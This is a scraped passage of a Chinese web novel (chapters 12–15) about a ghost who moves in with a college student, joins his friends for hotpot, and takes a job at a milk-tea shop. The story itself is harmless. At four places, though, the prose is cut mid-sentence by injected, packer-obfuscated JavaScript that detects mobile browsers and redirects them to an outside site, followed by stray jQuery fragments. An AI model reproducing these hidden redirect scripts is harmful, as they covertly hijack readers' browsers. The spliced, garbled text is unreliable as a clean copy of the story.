这句话好似重启的开关,众人这才回过神,嘴上回复着江听雨:“这就吃。” 然而审视和谴责的目光却始终没从闻翟那里离开,目光灼热,快能在他身上烫出几个洞窟。 一边是长达五年的兄弟情,一边是惊艳岁月的白月光,祁萧感觉自己心都要碎了,出师未捷身先死,还有什么比喜欢的女孩怀了兄弟的骨肉更令人难受? 闻翟又开了一枚蛋黄酥,对于江听雨的胡言乱语似乎训练出了免疫力,先堵住他的嘴,趁他嚼着食物,说:“他是男生。” 他没直说江听雨没有怀孕,否则江听雨肯定要反驳他,就这样简单一句话,既纠正了江听雨的性别,也澄清了误会。 最重要的是,江听雨脑子笨,反应不过来这句话一箭双雕。 直到这时,众人才好好打量起江听雨,发现他虽然皮肤白、留着长发,但身高和骨架都比真正的女孩要高和大一些,前身则更为平坦,喉结不突出却实实在在有,缺少女性独特的美。 是他们一看到长头发就先入为主地以为是女生,又出于基本的礼貌问题,不敢将视线一直放在“女孩”身上多看,否则不难判断出江听雨的真实性别。 众人观察完毕,几乎都信了闻翟的话。 谁知闻翟最好的兄弟也是个没脑子的。祁萧一拍桌子,碗筷都为他抖三抖,霍然起身:“你奶奶个腿儿!居然让个男生给你怀上孩子!!” “……”良好的教养令闻翟并未当场给他翻个白眼,而是将视线转向其余三人,“你们谁给他的嘴也堵上?” 三人没动。 “我转五十。” 三人立刻起身,饿狼扑食般朝祁萧靠近。钱不钱的不重要,重要的是他们也觉得祁萧太聒噪了。 “我靠啊,你们这些见钱眼开的家伙,离爷远点!!” “踏马的谁脱袜子了!呕——” 12. 韭菜鸡蛋 一顿火锅就是在这样吵吵闹闹的气氛中吃完的,虽然祁萧他们确实对于江听雨居然是男生有所惊讶,但转念一想,江听雨从始至终就没说过自己是女孩,是他们自己带入刻板印象想当然了,怪不得人家。 学校宿舍有门禁,这顿饭并没有吃到太晚。结束后,几人一块帮忙收拾了满桌子的狼藉,拎着垃圾袋告别分开。 江听雨跟不熟的人搭不上什么话,尤其还是比他小了两千多岁的后辈。完成桌面清理便溜去阳台,想将剩下没洗完的衣服先洗了,按照此前的步骤一比一复刻,只是在选择模式时换成了标准洗涤。 “听雨弟弟。”阳台的玻璃门被人拉开,祁萧走进来,摸出手机:“咱们加个微信吧?今后有什么活动或者饭局还可以约着一起。” 尽管当不成情侣了,但交个普通朋友还是可以的。闻翟那洁癖佬既然能同意江听雨住到他家里来,两人关系肯定不一般。 要知道这家伙书包里随时带着一瓶消毒酒精,过去住宿,每天都要给自己的桌面和床位消毒一次。 高中时期他和闻翟就是一个寝室的,他们学校是老校区,那会十人一个寝,就数闻翟的地盘最干净整洁。他作为对床,时不时还会蹭几次消毒服务。 微信? 触及知识盲区,江听雨问:“那是什么?” 祁萧一愣,显然没料到这年头还有人不知道微信是什么,他老家那边六七十岁的阿爷阿奶都会使用微信买菜了。 “额……就是一种帮助联络的聊天软件,功能很多,我一下也不好解释。”祁萧说:“如果你没有微信的话咱就换一个,电话号码和企鹅呢?” 江听雨同样摇头。 “嘶。”祁萧露出为难的表情,“那你手机上都有什么社交软件?我现在下一个也行。” 江听雨注意到祁萧手上会发光的小砖块,明白过来这个东西叫做手机,他看到闻翟使用过。 “我没有手机。” 话音落下,祁萧肉眼可见地僵住了。 难道是未成年? ……看起来确实挺年轻的,皮肤表面跟牛奶一样细腻,别说痘痘了,就连黑头和粗大些的毛孔都没有。 等等,就算未成年也不该完全不懂这些东西啊。 “你平时都是怎么跟外界联系的?”祁萧开始怀疑:“闻翟都不允许你有自己的社交圈子吗?” 闻翟…… 原来他这一世叫闻翟,这是江听雨第一次听到他的名字。 少顷,他说:“用嘴巴联系。” “……” 祁萧好像有点懂了这两个人为何会住在一起。玄关处,另外三人已经在出声催他回校,“我得走了,下回再见哈听雨弟弟。” 江听雨看着他们离开,过了片刻,缓缓开口纠正:“我不是弟弟。”今年2025岁了。 - 标准洗涤模式需要等待四十五分钟,有点久,但江听雨又不想留到明天再晒,隐隐后悔吃饭前没有先将衣服放进去洗。 等待的时间里,他打算先去洗个澡。只是刚经过客厅,就被闻翟叫住了。 “以后不许再说你怀了宝宝。”闻翟语气严肃,他没法在短时间内改变江听雨的认知结构,但可以告诉他哪些话不能说。 “为什么?”江听雨边说边将手指压上小腹,一道不高却明显的弧度显现出来:“你作为父亲,不能擅自抹杀宝宝的存在。” 他前天找闻翟吸完阳气就施下了这个障眼法,不过时效不长,后面补充完阳气得再继续施才能不暴露。 但闻翟似乎有些体虚,那天竟然被他吸晕过去了。一直这样可不行,听说食鳖可补痨伤,壮阳气,看来他得找机会弄一只。 江听雨丝毫没有考虑到闻翟压根就没信他怀孕的可能性,一门心思盘算着下一次要如何吸阳气,身上穿的T恤衫很遮掩身形,直接看的话看不出什么,但如果用手掐一下,就能发现衣服底下的身体是有多么清瘦。 闻翟的视线随着他的动作落在那肚子上,莫名想起了那柔软的触感。 江听雨持续输出道:“宝宝现在还小,听不懂你在说什么,但等再长大一点,知道你不想要宝宝,该多伤心啊。” 两个人就这么你看我,我看你耗了一会,最后闻翟先做出退让:“在家随便你,但在外人面前不可以这样说。” 他堵不了江听雨的嘴,难道还不能决定自己的双手吗? “不同意的话明早别想我给你做早餐。”闻翟说完就走,无情得像是下定了某种决心,这次绝对不会再心软。 江听雨:QAQ 不给吃的那还了得! “我同意。”江听雨追了上去,见他还在往前走,伸手抓住了他一截衣角,“我说我同意,以后不跟别人说。” 总归他要宝宝只是为了留在闻翟身边,而非希望全世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380440|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都知道,但要是因此没了饭吃,那就太得不偿失了。 闻翟停下来,昵了眼他抓着不放的手,眸底只有一贯的漠然,说:“我可以允许你暂时住在这里,你会听话吗?” 被克扣掉一顿早餐已经够江听雨着急的,哪里敢在这个时候跟他唱反调,更何况闻翟居然还附赠了“允许你暂时住在这里”,他就更加没有拒绝的必要了。 “听话。”江听雨当即道:“我会听话的。” 首战取得阶段性的胜利,闻翟微不可察地笑了一下。江听雨太好看懂也太好骗了,拿捏江听雨对他来说并不难,真不知道自己之前为什么会因此而感到头疼。 “那个。”江听雨在这时倏然想起一个被他遗忘了好久的事,问:“你叫什么名字?” 这句话就像春日里的一道惊雷,劈得闻翟本就不多的笑意瞬间荡漾无存。 “祁萧喊你‘闻翟’,是哪两个字?” 闻翟眉心微微动了动,人转过身,与他面对面,漆黑深邃的双眼里已经毫无一丝情绪,绷紧的下颚线更添凌厉。 江听雨知道祁萧这个认识不到两个小时的人叫什么,却不知道给他做饭、吹头、抱他去床上睡觉的人叫什么? 如果江听雨知道他的心理活动,就会大声喊冤了。他来这里第一天就告诉了闻翟自己的名字,而闻翟却一直没有向他做过自我介绍。 “不知道名字的人你也敢住在他家里?”闻翟朝他走近,落下的阴影里蕴藏着危险的气息。 滴滴滴—— 江听雨的安全检测雷达开始报警,松开抓着闻翟衣角的手,没吭声,偷偷挪动着双腿往后退。 然而他退一步,闻翟就近一步,两人间的距离并未真正拉开,反倒是他先退无可退,后背挨上了墙面。 冷硬的瓷砖冰得他一哆嗦,怕对方又像早上那样按他,先一步抬手护住了刚吃饱没多久的肚子。 闻翟见状,心底发笑,抬手捏上他的脸颊:“听闻的闻,翟让的翟。” “记住了吗?” 皮肤不经碰,立刻就红了。江听雨上面和下面只能二选一护住一个,随他捏,捏得重了些,声音里就因吃痛而带上轻微哭腔,“记住了。” 但始终不忘本,问:“我明天的早餐还有吗?” “要吃你做的卷饼,不要香菜。” 他都已经这么听话了,要是再不给他吃,就是闻翟有问题了。 13. 鱼香肉丝 获得享用明日早餐的权利,江听雨心满意足去洗澡了。 洗好出来,他问闻翟:“你今晚上要跟我一起睡床吗?”语气寻常,说出来的话却显得他才是这个房子的主人。 倒反天罡。闻翟觉得自己有必要巩固一下身份和地位,说:“你睡沙发,我没有跟人一起睡的习惯。” “可我不是人啊。”江听雨还想争取一下面前这个暖源,说:“我是鬼,你可以跟我睡。” 闻翟:“……不行。” 江听雨跟他大眼瞪小眼对峙好几分钟,对方都没有要松嘴的意思,只能遗憾离开:“好吧。” 洗衣机里的衣物清洗完毕,江听雨拿出来晾晒好后去了沙发上,往那一躺就是睡,睡眠质量棒到好像叫他去睡公园的长椅都没问题。 闻翟虽没同意他的请求,但想起江听雨昨晚上那声“冷”,给他拿了一床较厚的被子。 江听雨睡得比昨晚暖和了些,但舒适程度跟和闻翟睡在一起还是存在差距。 第二天,闻翟一早就起来做早餐了,是江听雨想吃的卷饼,没放香菜。 他今天课比较多,有三节,吃完便收拾东西出门,让江听雨别到处乱跑,为了方便联系,还特意给他留了平板。 “用来打发时间也可以。茶几上有水果,冰箱里有喝的,饿了你可以先自己吃点,有事解决不了就打电话给我。” 江听雨昨晚上已经接触过平板了,闻翟教给了他一些基础使用,像刷短视频、打电话、上千度搜索问题等,告诉他如果有什么不会的,可以合理利用互联网。 吃完早餐,江听雨将碗筷收进厨房的水池里,回到沙发上,输入密码解锁平板,进入千度。 他在大脑里组织了一下字句,因为不会使用键盘输入,用的语音转文字。 “哪里可以找到鳖?” 点击搜索,与之相关的内容罗列出来不少。江听雨点了几个内容进去看,粗略了解下来,鳖又名甲鱼,主要可以通过乡村河流、人工饲养基地、网上购买等几个渠道获取。 看起来不是很难,真正难的是——他没有这个时代的货币。 上回在商场闻翟帮他买衣服时,是用那个会发光的砖块付款的,所以拥有手机就能拥有钱? 思索到一半,江听雨的头开始不受控制往前沉,好似下一秒就要与脖子脱离。他连忙伸手扶住才没有掉到地上去,拍了拍重新固定好。 确定下目标,江听雨去将昨天晒在阳台上的衣服取下来一套。 炎热的天气加速水分蒸发,令衣服干得很快,加上洗衣机有甩干功能,一个晚上就彻底干透。 与刚到这时穿闻翟的衣服相比起来,这套新买的明显合身许多,米色字母短衫搭配休闲工装短裤,少年感十足。 只是扎头发时,皮筋的使用对于他来说有些困难,试了好几次,要么扎得歪歪扭扭,要么不小心用力过度将皮筋扯断,最后手都酸了也没能扎出一个满意的发型来。 长头发还是太麻烦了些。江听雨脑海里闪过闻翟昨天来家里的那几位朋友,发现这个时代的男性似乎更偏爱短发,他来人间这段时间遇到的几乎都是,要不他也弄成短发好了。 本相的模样是降生后既定的,他没有骗闻翟,自己的头发剪掉了也会在极短时间内重新长回原来的长度,但是他可以施展法力短暂地进行改变,就像肚子一样。 幸好还剩一点点够他用。 站在镜子前变好头发,江听雨顺利出门了。他想,如果能成功搞到手机,除去买甲鱼,他还可以再给闻翟一些钱,毕竟住客栈是要给银子的。 “……噢你是要买手机对吧?这里是居民区,可能没有,你从这出去,右拐后沿着大马路往下走个大概一公里,就有一家手机专卖店。”热心市民告诉他。 江听雨记下路线,“谢谢。” 谁知等他到了店里挑好手机,刚转身要走,站在专柜后面的店员便追了出来:“欸,你还没付钱呢!” 江听雨一听,不解道:“这个也要钱吗?” 店员从他手上抢回了手机,没好气道:“没钱你买什么东西?” “听过吃霸王餐的,还是头一回遇见抢霸王机的。” 江听雨茫然地梳理着这个时代的交易机制。有了手机才能像闻翟那样用钱付款,但没有钱又不能拿到手机,不就成了一个循环的死局么? 两千岁的脑子又转不过来了,江听雨摇头叹气:“活着好累啊,还是当鬼好。” 他们冥界也有村庄和社会制度,但比人间简单许多。活着的亲人给鬼们烧了很多纸币和陪葬物,大家的钱都多得没处花,人均一栋房子和三两名仆人,钱也就变得不值钱了。 想要什么拿鬼气换就行了,村头的牛大哥就经常和人换双手,方便半夜更利落地爬出坟墓。村西的林姑娘爱美,则用鬼气和人换些面霜和胭脂。 鬼气的来处也很简单,只要在冥界待的时间足够长,身体就会自动吸收空气中的鬼气。 当鬼气积攒到一定程度,对于想要继续留在冥界的鬼,可以作为一种货币使用,而对于想要回到人间的鬼,则可以自主选择进入轮回之镜重新投胎转世。 总而言之,大家都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380441|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过得很轻松自在,没有生活压力,没有竞争。 江听雨沿着原路返回,准备再找平板研究一下。倏地,一阵大风迎面刮了过来,卷着一沓传单纸漫天飞舞。 其中几张糊到了江听雨身上,他拿下脸上遮挡住视线的,看见不远处有个女孩正在捡这些散乱的传单,便也弯下腰帮忙,交到她手上。 “谢谢!”曾雅云接过传单,一抬头,就对上一张堪称颜控福音的脸。 “弟弟,要到我们店里来买一杯奶茶喝吗?今天开业第一天有打折活动哦!” 江听雨挠了挠脸,说:“不好意思,我没有钱。”他的兜比脸还干净,就算有打折活动也不好使。 曾雅云却笑着说没关系,道:“我们还有转盘免单活动,可以先试试看,转中了的话就可以免费获得一杯奶茶。” 这是老板亲口增设的活动,为了吸引顾客,营造出一种火热的氛围,但可惜宣传方面做的不到位,传单都是直到今早才打印出来的,来店里的人寥寥无几,于是只好把老板留在店里做奶茶,她出来派发传单招客。 真正的规则,其实是先下单购买任意一杯奶茶,才有获得参加转盘活动的机会。不过第一天嘛,搞点放水小福利也没问题。 “我……”江听雨刚说了一个字,就被曾雅云带进了旁边的奶茶店。 “来吧,试一下不要钱。” 江听雨一听不要钱,心动了,就算是鬼也抵抗不住小便宜的诱惑。 “规则很简单,你转一下这个盘子,要是指针停在绿色部分,就可以免费获得一杯价值在十八元以内的奶茶。” 规则不难,江听雨能听懂。他看到这个快有一人高的大型转盘时,第一反应是这家的老板好大方,绿色部分居然远远大于红色部分,占了整个圆盘的五分之四,中奖的概率非常大。 江听雨都不禁怀疑:“真的是转到绿色部分就可以吗?” 曾雅云的笑里带了几分得意:“别怀疑,我们老板就是这么好。快,试试看,我今天就没有见到不中的。” 她觉得江听雨肯定能拿下这杯奶茶,打广告的同时也算感谢他方才帮忙捡传单。 “好吧。”江听雨握住转盘边缘,凭感觉随便使了点力气。 等他松开手指,转盘在推力的作用下快速转动起来,速度越来越快,越来越快,到最后红绿两色晃出叠影,已经无法用肉眼来捕捉。 咚。 转盘挣脱束缚,掉到地上,当着两人的面罢工越狱,跑了出去。 曾雅云:(⊙o⊙) 江听雨:(=°A°=) 14. 手撕包菜 曾雅云回过神欸了一声,跑上去追,眼见转盘要蹿到马路上去,幸好一名男人进门时顺手拦下,提回来重新安上。 男人身材匀称,穿着定制员工服,手腕处带一块劳力士表,正是这家奶茶店的老板,没想到只是出门上个公共厕所的功夫,“员工”就要遁走了。 江听雨看出自己闯祸了,认错态度积极:“对不起,我不是有意弄坏它的。” 男人没有责怪他,微笑中透露出温暖与和善:“没关系,这种泡沫转盘的质量本来就差,施力的点不对就很容易掉下来。” “而且也没有真坏,你看,这样安上去后还能继续使用。” 听他这么说,江听雨的紧张和愧疚减轻了不少。曾雅云问他要不要再尝试一下,刚才的结果不算。 “还是不了吧。”江听雨推拒道,他怕再将人家的东西搞坏,现在没有钱,想赔都赔不起。 曾雅云不知晓他的顾虑,还想劝他,毕竟这可是免费薅羊毛的机会,她也真的很喜欢面前这个长相乖顺的弟弟,一见如故,让她想起还在老家上小学的亲弟弟。 不得已,江听雨只好道出事实,“我真的没有钱,怕一会你们让我赔一个转盘。” 一旁的男人闻言轻笑出声,走过来救场:“小云,你去后面做一杯奶茶吧。” 他说完,又问江听雨:“有什么想喝的或者忌口吗?” 江听雨懵懵地摇头,说没有。 男人便替他做了决定:“那就杨枝甘露吧,现在很多年轻人爱喝。” 曾雅云明白老板这是打算自掏腰包请客,高兴地到后面去做奶茶,加小料的时候非但不手抖,还多加了一勺芒果和西柚。 男人向江听雨自我介绍道:“我叫顾景山,是这家店的老板,听你的口音不像本地人,应该是从其他地方来的吧?” 江听雨不清楚别人听他是什么样的口音,但他确实不是本地人,便点了点头。 或许是男人方才帮他解了围,又或许是男人从内而外散发出的可靠气质,江听雨对他没有很强的防备:“我叫江听雨,从冥界来的。” “请问你知道哪里可以得到钱吗?” 顾景山并未因那句“从冥界来的”而将他当作一个怪人,只以为国内有个谐音冥界的地方,觉得他说话挺有意思的,自我推荐道:“我们奶茶店是自主创业的新店,正好缺员工,要考虑一下来这上班吗?试用期通过后可以先给你预支一个月的工资。” 在和顾景山的交流间,江听雨弄明白了手机又叫移动电话,是一种便携式、无线通讯的电子设备,并不等同于货币。 顾景山还向他耐心解释了什么是预支工资,对于他目前的情况来说再好不过。 “……没有工作经验不要紧,小云会带你,步骤都很简单,跟着做一段时间就熟练了。” 杨枝甘露做好了,曾雅云将封好口的奶茶和吸管一起递给江听雨,顺着话补充:“是呀,我会带你的,有哪里不懂的都可以问我,所以不用怕。顾老板人也很好,每天上班给员工发工资,打着灯笼都找不到这样好的老板。” 顾景山笑道:“夸张了啊。” 江听雨听着他们你一言我一句,感觉两个人都非常风趣幽默,受到这样轻松气氛的吸引,他决定过来试一下。 “奶茶店的工作门槛不高,就是客人多的时候会比较辛苦。”顾景山又向他介绍了奶茶店的工作内容和工作时间,问:“你是附近的大学生吗?我们也支持兼职,工资按小时结算。” 江听雨不方便透露自己的真实身份,只说:“不是。” 那大概是辍学出来打工的年轻人了。顾景山不再多问,拍了拍他的肩膀,让他尝尝奶茶。 江听雨插上吸管喝了一口,冰冰甜甜,小料充足,比前几天的橙汁还要好喝。 - 从奶茶店告别离开,江听雨踩着饭点回到家,只是推开门,房子空荡荡的,没有闻翟的身影。 沙发上的平板不知第几次响起,江听雨听见铃声,换好拖鞋后忙不迭跑过去拿起来,快速回忆着昨晚上闻翟教给他的,手指点击屏幕上绿色的圆形图标。 “喂?”电话接通,传来闻翟被机械修饰得比平常更加低沉的音色,没有厉声质问他为什么一直不接电话,而是轻飘飘一句:“你又出去了?” 江听雨的注意力在神奇的通话功能上,没有立刻回答他。 “江听雨。”闻翟喊他的名字,辨不出情绪。 “欸!”江听雨猛然回神,“我在听。” 闻翟“嗯”了一声,说:“我这边今天比较忙,中午没有时间回去做饭,给你点外卖,你想吃什么?” 江听雨不挑食,最主要的是他不知道外卖都有哪些,便说:“都可以。”只要有得吃就行。 闻翟便给他点了一份咖喱蛋包饭,“地址我留的家里,大概半小时后会有外卖员送餐上门,听到敲门声喊对方将外卖放在门口,过两分钟再开门去拿。” 江听雨下意识点头:“好。” 等待的时间里,他开始计算一个很重要的数学问题。 这世上的一切都是有因果的,他一千年历劫时被战神误伤致使神魂受损,所以一千年后只能通过他的阳气才能修复神魂。 不过吸食阳气会削减凡人的寿命,吸一次大概减少一年,吸得越多对身体的损害越大。 江听雨上网查了一下,现在的人均寿命是78岁,闻翟看起来身体很好,不发生意外的前提下应该可以活得长一点,到八九十岁。 如果控制好吸取阳气的频率,搭配养生调息,对寿命的影响就会小些,至少确保闻翟这一世最少能活到78岁,不拉低社会平均水平。实在不行就等一段时间,再去找他的下一任转世。 江听雨最终得出的结论:作为一名有道德心的鬼,他要努力上班赚钱,这样就可以买补品养闻翟。 敲门声响起,江听雨按照闻翟教给他的步骤去拿外卖,两分钟一秒不多一秒不少。 晚上闻翟回到家,发现了江听雨的变化,那头乌黑及腰的长发被一头清爽利落的短发所取代。他有些意外,昨天还扯玄幻不肯剪头发的人,今天居然就这么干脆地剪掉了。 其实无论是短发还是长发,到了江听雨身上都不显得奇怪突兀,但前者更加符合当今男性的审美观念。 江听雨发现了他在打量自己,顺势走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380442|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,说:“我找了一份工作,顾老板答应要是通过试用期,可以给我预支工资。” “什么工作?”闻翟起了警惕,担心他在外面受骗。 江听雨:“就是附近的一家奶茶店,他们新店开业缺员工。” “店名叫什么?” “四个字,好像叫墨香茶邸。” 名字有些熟悉。闻翟用手机搜了一下,定位显示附近确实有这么一家奶茶店,跟他学校就隔着几百米的距离。 祁萧白天喊他去喝的好像也是这家,说是新店开业有活动,但他那会在盯实验就没去。 看样子是正规经营的门店,又开在人来人往的马路边。闻翟没有过多干涉他的工作自由,提醒他上下班记得关好家里的门,说如果对方喊他签合同的话先别着急。 “……可以先拿给我看看,没问题再签字。” 江听雨不知道什么是合同,但并不妨碍他点头。 月亮藏在云层后休息,天边只留下几颗星星放哨。 江听雨今晚依旧睡沙发。其实他对于睡哪都能接受,毕竟当放在面前的都是土豆时,也就不在意拿到的是左边的土豆还是右边的。 只是如果可以选,他还是想选闻翟这颗土豆,比较暖和。 于是乎他连做梦,梦到的都是土豆。 河神笑眯眯地从水中出现,问他:“亲爱的朋友呀,你掉的是这颗金土豆,还是这颗银土豆?” 江听雨失望地表示:“都不是。” 河神对他的诚实露出赞许,又从水里拽出来一颗一米九的巨型土豆,问:“难道你掉的是这颗长土豆吗?” 长土豆在河里泡了很久,浑身都湿透了,面上却一贯的冷静从容。 江听雨对上那张熟悉的脸,说:“是的。” 本以为河神会物归原主,谁知对方坏得很,扛起他的长土豆拔腿就跑,整个人扭得像波浪线,不忘发出反派魔性的桀桀桀笑声。 江听雨的双眼瞪得堪比杠铃,一边大叫着“还给我!”一边去追。 咚,他从沙发上滚落下来,梦醒了,头也掉了出去。 客厅里太黑,他坐起来后摸索了半天都没找到脑袋,也快在地上扭曲爬行了。 卧室,前天难得睡了一个好觉的闻翟又恢复到了过去的状态,今晚睡得很浅,听到客厅传来闷响,尽管只有极短的一声,还是在瞬间睁开双眼,掀开毯子穿上拖鞋。 刚进入客厅,他就感觉脚下似乎踢到了什么。 江听雨脑壳一疼,滚出去几圈后恰好回到身边。他顺利摸到自己的头,捡起来安回去,用手揉摸着不知被什么“撞”了一下的额头。 闻翟也在这个时候摸到灯光开关,啪嗒一声,整个客厅亮堂起来。他得以看清坐在地板上的江听雨,两条腿呈V字型微微打开,双手捂着脑门,眼睛和额心一样红红的,蓄了泪水。 “今晚又是什么身份?”闻翟朝他走去,说:“扫地机器人成精?” 你还土豆成精呢,江听雨心道,赖在地上不肯起来,眼眶里疼出来的眼泪欲落不落。 少顷,向青年伸出双手:“你能不能抱一下我。” “好冷。” 15. 红烧茄子 寂静中,闻翟对上他那双带有恳求的浅褐色眼睛,魔怔了般,竟下意识抬起手真想去抱他。 只是临到一半恢复理智,又蓦地顿住,放了下去。 江听雨却直接靠过来,握住他几根手指,声音里不带任何情/色,说:“我想跟你睡。” 一股冰凉通过相触的地方传过来,闻翟感觉自己的手指像是泡进了冷水里。他反握住江听雨的手,错愕地发出疑惑:“你手怎么这么凉?” 客厅里又没有开空调,而且他给江听雨的被子不薄,正常人这样捂着不出汗都奇怪了,更别说感到冷。 “我是鬼啊。”江听雨说,顺便抱怨了一句:“你又不肯亲我给我阳气,到了晚上当然会凉掉。” 又开始了。闻翟也不知道江听雨这种情况属不属于一种病,能不能治好。 闻翟没再往下问,一只手托着江听雨的后背,另一只手穿过他的膝弯,将人抱了起来,这才发现他全身都是凉的,像一块冰。 就睡一晚,他想。 只是因为江听雨身上确实很冰,万一明早发烧了,他还要请假带人去医院看病。 “被子。”江听雨蹬了一下腿,往后看:“我的被子也要拿上。” “……”闻翟又折返回去,江听雨手上抱着被子,他手上抱着江听雨,一起回了卧室。 一沾床,江听雨就跟土匪进村似的,带着被子霸占了半边位置。 闻翟到另一边,手上残留的凉意尚未完全散去,视线掠过遥控器,短暂犹豫后还是拿了起来关掉空调,躺上床。 两人中间隔了条楚河汉界,但闻翟清楚,等江听雨睡着,这条界限就会被打破。 城市里的夜晚永远不败,到了凌晨依旧灯火璀璨,光从窗口悄悄溜进来,衬得江听雨那双眼格外雪亮。 身边躺了个人这么直勾勾看着自己,闻翟就算想睡也睡不着,问他:“又怎么了?” 床上非常暖和,有闻翟的体温。江听雨捏着被子边缘,大半张脸都藏在底下,试探性问:“你喜欢吃甲鱼吗?” 帮助补充阳气的食物有很多种,他最先想起的是甲鱼罢了,如果闻翟不爱吃,他就换一个。 闻翟:“你想干什么?” 事出反常必有妖,从江听雨说出自己怀了孩子的那一刻起,他在闻翟眼里就不是一个安分老实的形象。 江听雨:“不干什么,就是问问嘛。” 没有期待就不会有失望,在成功赚到钱将东西买回来之前,江听雨不打算告诉闻翟,这样如果失败了,也不会有人知道。 闻翟半信半疑:“不知道,没吃过。” 为了防患于未然,他还是补了一针预防针:“别做奇怪的事。” 但这话落到江听雨耳里就有嫌弃的意味了。他撇了撇嘴,背过身去,说:“我做的事才不奇怪。” 明明在客厅喊冷的是他,现在躲闻翟躲得远远的也是他。 夜里的时间走得似乎更为慢些,惹人半夜惊醒的家伙没心没肺,不一会就再次陷入梦乡。 闻翟却睡不着,一是他真的不习惯和人一起睡,二是太热了。大概过去十五分钟,他掀开被子,还是决定去沙发睡。 似是觉察到他有要离开的意思,江听雨翻了个身滚过来,手臂搭上他的腹部。 闻翟低头去看他,头发略微凌乱地翘着,双眼放松地闭着,没醒。 江听雨的温度有种说不上来的舒服,带有混合他家沐浴露的香,仿佛收藏家为所爱之物打下的烙印。 闻翟面无表情地保持这个姿势,最终躺了回去。江听雨也跟只八爪鱼一样吸附上来,与他肩碰着肩,腿挨着腿。 难耐的闷热似是得到了驱散。 - 奶茶店的上班时间是九点,闻翟的上课时间是八点,江听雨醒来时,家里只剩下他一个人和桌面上留好的早餐。 顾景山告诉他试用期是一个星期,这期间的工资按时间结算,一小时十二块,从早上九点到晚上九点,中间会有三个小时的休息时间,用于吃午饭和晚饭,等正式转正就是一个月四千五的固定底薪,并按照当月总营业额,额外发放2%的奖金。 这一点上与许多奶茶店不同。 经历过误将两百块钱错当成两块钱使用的事件后,江听雨这几天恶补了一番人间的货币和交易机制,对于顾景山开出的薪水表示可以接受。 吃完早餐,他换上衣服出门。 曾雅云已经到店里,正在做开业前的准备工作,煮上需要用到的茶水,再将前一天剩下的小料和水果倒掉,换上当日新鲜的。 江听雨过来时正巧看见她往垃圾桶里倒东西,觉得好可惜,明明看起来没有坏,于是问她为什么要倒掉。 “这是老板定下的,所有食材都要用当日最新鲜的,也是为了符合我们打出去的名声——让顾客喝得放心。”曾雅云说。 “昨天是我们店第一天开业,不知道客流量怎么样,就凭感觉准备的小料,结果多出来很多,现在大致摸清了市场情况,今天会调整一下数量减少浪费。” 江听雨的大脑接收并梳理完她的话,指了指还没来得及倒掉的小料,问:“那这些还能吃吗?” “能吃。”曾雅压凑过来,压低声量对他说:“其实这些东西晚上都是放在冰箱保鲜的,就算再放个两三天也能吃,但隔夜的东西对于顾客来说不新鲜了,要是遇上刁钻的,可能会拿这个举报我们店,所以还是换一下比较好。” 曾雅云还说有些奶茶店会将当天卖不完的小料、水果这些分给员工吃,这也是一个减少浪费的好办法。 “昨晚关店前,我和顾老板就用剩下的东西各自做了几杯奶茶带走,算在奶茶店上班的一个隐形福利吧,只是我们今早实在喝不下了,才只能选择倒掉。” 居然还有隐形福利,江听雨听完,越发觉得自己找了一份好工作。 曾雅云看出他的心思,笑笑:“你要是不嫌弃隔夜食材的话,我可以留一些下来给你。” 江听雨眼睛都亮了一下:“可以吗?” “当然可以。”曾雅云拿了一个大号奶茶杯,说:“你想吃哪些小料?我先给你装出来。” 就这样,初到人间的鬼在还没正式上班前,便得到了第二杯小料满满的奶茶,高兴极了。 只是他没马上喝,还有两分钟就到规定的上班时间了,问有什么是他今天需要负责的。 曾雅云撩开遮挡住后厨和储存室的帘子,“你先换上员工服吧,我给你拿。” “好。”江听雨跟着她进去。 “这个是发网和一字夹,头发需要包起来,就像我这样,碎发也要别进去,最后再戴上帽子。”曾雅云给他演示了一遍。 “衣服在这,是老板昨天按照你的身形新准备的一套,可以去储物室换,记得关上门。” 这些对江听雨来说已经不是难事,他接过,很快就换好出来。 无论哪家奶茶店的员工服,十个穿八个丑,很少有人能穿出好看。第一个令曾雅云眼前一亮的是顾景山,也就是他们老板,一米八几的大高个,宽肩窄腰,散发着成熟男人的魅力。 而这第二个,就是江听雨了。 衣服套在他身上,非但没有压低他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 